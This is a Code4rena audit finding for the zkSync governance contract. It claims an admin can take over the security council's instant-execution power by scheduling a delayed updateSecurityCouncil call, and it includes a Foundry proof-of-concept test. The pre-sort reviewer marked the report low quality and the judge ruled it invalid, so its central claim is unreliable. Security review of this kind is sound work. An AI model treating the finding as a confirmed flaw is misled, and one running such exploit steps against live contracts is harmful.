A malicious governance admin can instantly execute delayed proposals by manipulating Operations

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-zksync/blob/1fb4649b612fac7b4ee613df6f6b7d921ddd6b0d/code/contracts/ethereum/contracts/governance/Governance.sol#L167

Vulnerability details

Impact

There are 2 stakeholders in a governance contract -> 1. admin 2. Security Council. Key difference between the two is the ability to execute planned upgrades (admin) v/s the ability to make instant upgrades (security council).

However, due to a lack of adequate validations, it is possible for an admin to usurp the rights of the security council and acquire the instant upgradeability power onto themselves. In effect, this would give the Zk Sync admin the power to execute instant upgrades, a big risk to the trustless ethos of the ZK Sync eco-system.

Of course, the credibility of Zk-sync admin is at stake here but relying on that credibility just increases trust assumptions of the chain. The current back-door theoretically allows the admin to manipulate timelines of proposals, which is both risky and undesirable to users. Since this is an admin related trust assumptions issue, I have marked it as medium-risk

Proof of Concept

Here is how the attack can be executed:

• Admin creates a proposal with a single call and minimum delay (say 1 day for this example)
• Create call with target: address(governance), value: 0, data: abi.encodeWithSelector(bytes4(keccak256("updateSecurityCouncil(address)")), address(admin))
• Create operation with above call, predecessor and salt as bytes(0)
• Call scheduleTransparent with delay = minimum allowed delay
• After the delay gets completed, call Governance::execute
• Now the security council is updated to admin, call Governance::executeInstant to pass all pending proposals instantly

Attached is a POC written in foundry. Run the test_create_execute_updateCouncil function

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import {Governance} from "../src/Governance.sol";
import {IGovernance} from "../src/interfaces/IGovernance.sol";
import "forge-std/Test.sol";

contract GovernanceTest is Test {
    Governance public governance;

    address admin;
    address secCouncil;
    uint256 minDelay;

    function setUp() public {
        admin = address(678888888); //admin has delayed execution right
        secCouncil = address(76666666); // sec council has immediate execution right
        minDelay = 1 days; //-n delay for execution by admin
        governance = new Governance(admin, secCouncil, minDelay);
    }
    function test_create_execute_updateCouncil() public{
        bytes memory callData = abi.encodeWithSelector(bytes4(keccak256("updateSecurityCouncil(address)")), admin); 
        (bytes32 delayedOperationId, IGovernance.Operation memory operationInfo) = _scheduleDelayedOperation(address(governance), 1 days, callData);    //delay equal to minDelay

        vm.warp(1 days + 100); // roll forward 1 day + 100 days to execute proposal
        IGovernance.OperationState state = governance.getOperationState(delayedOperationId);
        assertTrue(state == IGovernance.OperationState.Ready, "State is not Ready"); //check state is ready for execution

        console.log("security council before execution", governance.securityCouncil());
        vm.prank(admin);
        governance.execute(operationInfo); // both admin and sec council can call execute

        console.log("admin address", admin);
        console.log("security council after execution", governance.securityCouncil());
        assertEq(governance.securityCouncil(), admin); // security council addy is same as admin now

    }

    function _scheduleDelayedOperation(address targetAddress, uint256 delay, bytes memory targetCallData) private returns (bytes32 delayedOpId, IGovernance.Operation memory operationInfo){

        IGovernance.Call[] memory callInfo = new IGovernance.Call[](1);
        callInfo[0] = IGovernance.Call({target: targetAddress, 
                                        value: 0, 
                                        data: targetCallData
                                        });

        operationInfo = IGovernance.Operation({calls: callInfo, 
                                                                            predecessor: bytes32(0),
                                                                            salt: bytes32(0)});
        vm.prank(admin);
        governance.scheduleTransparent(operationInfo, delay); 

        delayedOpId = governance.hashOperation(operationInfo);

    }

}

Tools Used

Foundry

Recommended Mitigation Steps

Target call address for every Call in an operation should not be the governance address. Consider having explicit checks to prevent such unauthorised changes.

Assessed type

Access Control

[c4-pre-sort]

bytes032 marked the issue as low quality report

[c4-judge]

GalloDaSballo marked the issue as unsatisfactory: Invalid